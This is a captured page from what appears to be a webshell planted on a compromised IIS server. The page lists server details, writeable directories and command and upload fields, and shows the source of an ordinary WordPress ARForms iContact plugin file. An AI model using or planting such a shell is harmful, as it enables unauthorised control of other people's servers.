403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/arforms/core/ar/icontact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/arforms/core/ar/icontact/icontact.php
<?php
// Load the iContact library
require_once('lib/iContactApi.php');
global $MdlDb;
        
$res = $wpdb->get_results( $wpdb->prepare("SELECT * FROM ".$MdlDb->autoresponder." WHERE responder_id=%d",8));$res = $res[0]; 	// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Reason: $MdlDb->autoresponder is table name defined globally. False Positive alarm 
$api_key = stripslashes($res->responder_api_key);
$api_username = stripslashes($res->responder_username);
$api_password = stripslashes($res->responder_password);

$data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".$MdlDb->ar." WHERE frm_id = %d", $fid), 'ARRAY_A' );
			
$arr_icontact 	= maybe_unserialize( $data[0]['icontact'] );

$list_id1 = $arr_icontact['type_val'];

if( $list_id1 != '' )
{		
	// Give the API your information
	iContactApi::getInstance()->setConfig(array(
		'appId'       => $api_key, 
		'apiPassword' => $api_password, 
		'apiUsername' => $api_username
	));
	
	// Store the singleton
	$oiContact = iContactApi::getInstance();
	// Try to make the call(s)
	try {
		$contact = $oiContact->addContact($email, null, null, $fname, $lname, null, null, null, null, null, null, null, null, null);
		
		// Get lists
		$lists = $oiContact->getLists();
		
		foreach ($lists as $list) {
			if( $list->listId == $list_id1 ) {
				$list_id = $list->listId;
			}
		}
		// Subscribe contact to list
		$list = $oiContact->subscribeContactToList($contact->contactId, $list_id, 'normal');
		
	} catch (Exception $oException) { // Catch any exceptions
		// Dump errors
		$oiContact->getErrors();
		// Grab the last raw request data
		$oiContact->getLastRequest();
		// Grab the last raw response data
		$oiContact->getLastResponse();
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit